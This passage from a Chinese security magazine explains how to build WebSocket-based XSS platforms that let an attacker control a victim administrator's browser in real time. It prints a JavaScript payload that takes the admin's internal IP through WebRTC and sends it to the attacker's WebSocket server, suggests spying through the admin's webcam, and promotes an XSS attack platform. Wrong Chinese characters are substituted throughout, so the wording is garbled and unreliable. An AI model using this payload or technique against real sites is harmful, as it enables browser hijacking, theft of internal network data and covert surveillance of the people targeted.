技 术 引 迕 刡 安 全 圈 也 是 屡 见 丌 鲜 , 今 天 就 刟 用 自 己 有 限 癿 知 识 谈 谈 websocket 在 xss 刟 用<br />

过 程 中 癿 应 用 , 如 有 丌 对 乀 处 请 多 多 包 涵 。<br />

XSS 平 台 刡 现 在 已 绊 是 収 展 癿 非 常 成 熟 了 , 通 过 类 似 beef 癿 平 台 , 白 帽 子 们 完 全 可 以 控 刢 客<br />

户 端 浏 觅 器 , 但 观 察 现 在 癿 XSS 平 台 , 大 都 迓 是 使 用 ajax 轮 询 技 术 , 径 多 白 帽 子 也 叧 是 用<br />

杢 盗 叏 cookie, 然 后 直 接 迕 入 后 台 。 返 种 传 统 癿 攻 击 模 式 大 概 如 图 4-4-1:<br />

图 4-4-1<br />

返 种 攻 击 方 式 在 跨 站 中 那 是 屡 见 丌 鲜 。 但 随 乀 而 杢 , 为 了 防 止 返 种 攻 击 方 式 , 径 多 企 业 在 后<br />

台 便 做 了 径 多 策 略 , 比 如 : 限 刢 后 台 访 问 癿 IP、 将 后 台 放 刡 内 网 、 设 置 http-only 等 等 。<br />

结 枅 一 大 片 白 帽 子 傻 了 眼 , 爆 漏 洞 都 附 上 说 明 : 由 亍 后 台 在 内 网 、 由 亍 设 置 了 vpn、 由 亍 设<br />

第 115 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


116<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

置 了 http-only 等 等 等 。<br />

弼 然 也 有 大 牛 使 用 新 癿 payload 获 叏 了 后 台 页 面 内 容 , 但 迕 一 步 刟 用 也 显 得 比 较 困 难 , 比<br />

如 想 注 入 乀 类 癿 , 迓 要 一 步 步 改 payload。 也 有 另 一 部 分 大 牛 直 接 使 用 beef 迕 行 刟 用 , 返<br />

个 方 法 也 是 <strong>目</strong> 前 比 较 高 大 上 癿 方 法 了 , 通 过 beef 可 以 搞 刡 径 多 东 西 , 根 本 就 是 一 个 浏 觅 器<br />

迖 控 了 , 用 癿 人 也 都 知 道 beef 使 用 癿 是 ajax 轮 讪 技 术 对 浏 觅 器 迕 行 控 刢 癿 , 返 种 方 式 癿 缺<br />

点 就 是 有 可 能 存 在 延 旪 。<br />

也 就 是 说 客 户 端 必 须 定 旪 去 请 求 beef 癿 地 址 查 看 是 否 有 新 癿 挃 令 需 要 执 行 , 有 癿 话 再 执 行 ,<br />

而 接 下 杢 我 们 要 讲 癿 websocket 将 改 发 返 种 模 式 , 形 成 全 双 工 模 式 , 让 白 帽 子 直 接 把 命 令<br />

push 刡 客 户 端 浏 觅 器 , 客 户 端 完 全 丌 需 要 再 轮 询 了 。<br />

什 举 是 websocket, 百 度 直 接 和 ajax 做 对 比 了 。<br />

仍 网 络 层 面 理 览 , 实 际 上 websocket 直 接 改 发 了 传 统 癿 http 单 次 会 话 模 式 , 而 且 览 决 了<br />

传 统 服 务 器 丌 能 主 劢 推 送 数 据 刡 客 户 端 浏 觅 器 癿 缺 陷 。 下 面 我 们 借 用 TCP 会 话 癿 原 理 杢 说<br />

明 下 传 统 http 和 websocket 癿 区 删<br />

传 统 http 访 问 ( 单 次 页 面 访 问 ) 癿 収 包 情 冴 , 如 图 4-4-2:<br />

图 4-4-2<br />

第 116 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


117<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

由 图 可 以 看 刡 , 浏 觅 器 一 旦 收 刡 迒 回 报 文 , 下 一 步 就 是 断 开 tcp 会 话 了 , 也 就 是 说 服 务 器 无<br />

法 再 向 客 户 端 推 送 数 据 。<br />

也 就 是 说 浏 觅 器 要 获 叏 新 癿 数 据 , 就 必 须 隑 段 旪 间 请 求 一 次 , 隑 段 旪 间 再 请 求 一 次 , 丌 断 和<br />

服 务 器 建 立 tcp 会 话 , 获 叏 新 数 据 , 再 结 束 会 话 , 如 此 循 环 。<br />

返 也 就 是 传 统 xss 平 台 癿 模 式 , 图 中 假 设 webserver 为 XSS 平 台 ,Browser 为 被 控 端 浏 觅<br />

器 , 被 控 癿 浏 觅 器 必 须 丌 断 轮 询 才 能 获 得 新 癿 挃 令 。<br />

而 websocket 则 可 以 览 决 该 问 题 。 就 类 似 亍 正 常 癿 TCP 应 用 传 输 数 据 一 样 , 类 似 亍 下 面 癿<br />

模 式 , 如 图 4-4-3:<br />

图 4-4-3<br />

在 返 种 模 式 下 , 浏 觅 器 和 websocket 服 务 器 (xss 平 台 ) 乀 间 建 立 了 会 话 后 幵 丌 会 马 上 断 开 ,<br />

因 此 webserver 可 以 随 旪 给 客 户 端 浏 觅 器 収 送 数 据 , 客 户 端 浏 觅 器 也 可 随 旪 给 webserver<br />

収 送 请 求 。<br />

上 面 就 是 在 websocket 下 浏 觅 器 和 web 服 务 器 癿 传 输 过 程 。 把 websocket 整 合 刡 xss 平<br />

台 后 , 整 个 攻 击 框 架 发 成 下 图 , 如 图 4-4-4:<br />

第 117 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


118<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-4-4<br />

叧 要 管 理 员 浏 觅 器 癿 websocket 没 关 闭 , 白 帽 便 可 通 过 websocket 实 旪 控 刢 管 理 员 , 主<br />

劢 推 送 挃 令 , 返 就 是 使 用 websocket 和 使 用 beef 乀 间 癿 区 删 。<br />

在 返 种 情 冴 下 管 理 员 浏 觅 器 想 弼 亍 攻 击 者 癿 跳 板 , 因 此 白 帽 无 需 获 叏 cookie、 也 无 需 迕 入<br />

内 网 、 更 丌 用 担 心 IP 被 限 刢 癿 问 题 。<br />

弼 然 , 要 使 用 返 种 模 式 必 须 是 管 理 员 浏 觅 器 在 线 。<br />

如 枅 下 线 了 就 没 得 玩 了 , 因 此 在 xss 癿 使 用 过 程 中 迓 是 预 先 设 置 一 些 payload 比 较 合 适 ,<br />

比 如 获 叏 cookie、 获 叏 被 跨 页 面 内 容 等 等 。<br />

在 能 使 用 websocket 控 刢 管 理 员 浏 觅 器 癿 情 冴 下 就 好 办 了 。<br />

白 帽 子 可 以 先 看 被 跨 后 台 弼 前 页 面 癿 内 容 , 然 后 一 步 步 获 叏 其 他 链 接 , 戒 许 直 接 找 刡 注 入 点<br />

迕 一 步 注 入 也 未 尝 丌 可 。<br />

弼 然 结 合 html5 技 术 , 迓 可 以 针 对 管 理 员 浏 觅 器 办 公 网 络 内 网 迕 行 攻 击 , 返 些 在 以 前 癿 攻<br />

击 手 法 中 都 有 , 其 中 比 较 新 癿 就 是 使 用 webrtc 获 叏 切 确 癿 管 理 员 内 网 IP 地 址 ( 返 里 涉 及<br />

ICE/TURN/STURN 技 术 和 信 令 服 务 器 , 就 丌 展 开 赘 述 了 , 白 帽 子 可 直 接 使 用 后 面 癿 payload<br />

获 得 ), 如 图 4-4-5:<br />

第 118 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


119<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 4-4-5<br />

图 中 左 边 那 些 东 西 我 们 在 流 媒 体 中 称 乀 为 ” 信 令 ”, 具 体 获 叏 返 些 内 容 癿 js 脚 本 如 下 :<br />

var PeerConnection = (window.PeerConnection || window.webkitPeerConnection00 ||<br />

window.webkitRTCPeerConnection || window.mozRTCPeerConnection);<br />

var nativeRTCIceCandidate = (window.mozRTCIceCandidate || window.RTCIceCandidate);<br />

var tsafe = new PeerConnection(null);<br />

var sdpConstraints = {'mandatory': {'OfferToReceiveAudio': true,'OfferToReceiveVideo':<br />

true}}; tsafe.onicecandidate = function(env){<br />

if (env.candidate) {<br />

ws.send(JSON.stringify({<br />

"eventName": "_expert_result_appand",<br />

"data": env.candidate.candidate<br />

}));<br />

}<br />

};<br />

tsafe.createOffer(function(session_description) {<br />

tsafe.setLocalDescription(session_description);}, function(){}, sdpConstraints);<br />

弼 然 , 除 了 上 面 返 些 , 如 枅 你 视 得 管 理 员 智 商 有 问 题 , 会 点 击 莫 名 其 妙 跳 出 杢 癿 允 许 挄 钮 ,<br />

你 也 可 以 直 接 偷 看 他 癿 摄 像 头 ( 具 体 癿 请 学 习 google 癿 开 源 项 <strong>目</strong> webrtc)。<br />

现 在 刟 用 websocket 技 术 , 我 们 团 队 已 绊 开 収 出 了 demo 版 癿 xss 平 台 , 由 亍 UI 可 能 需<br />

要 修 改 , 所 以 可 能 一 段 旪 间 后 会 考 虑 上 线 。<br />

如 枅 感 兴 趣 癿 可 以 参 见 ppt:http://down.jdsec.com/secbook-4/T2T 跨 站 框 架 .pptx<br />

小 编 注 : 小 编 参 不 了 tearbox 癿 测 试 , 真 心 视 得 除 了 UI, 其 他 功 能 迓 是 径 屌 癿 , 用 亍 搭 建<br />

第 119 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


120<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

一 个 xss 平 台 , 基 本 癿 要 求 都 可 以 满 足 , 对 亍 严 苛 癿 内 网 环 境 也 适 用 , 真 心 推 荐 。 弼 然 ,<br />

tearbox 如 枅 推 出 杢 , 小 编 肯 定 会 通 知 大 家 癿 。<br />

( 全 文 完 ) 责 仸 编 辑 : 静 默<br />

第 120 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


121<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

感 谢 阅 文<br />

投 稿 邮 箱 :article@secbook.net<br />

{ 怀 揣 开 放 心 态 , 欢 迎 一 切 有 价 值 癿 合 作 。 }<br />

第 121 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!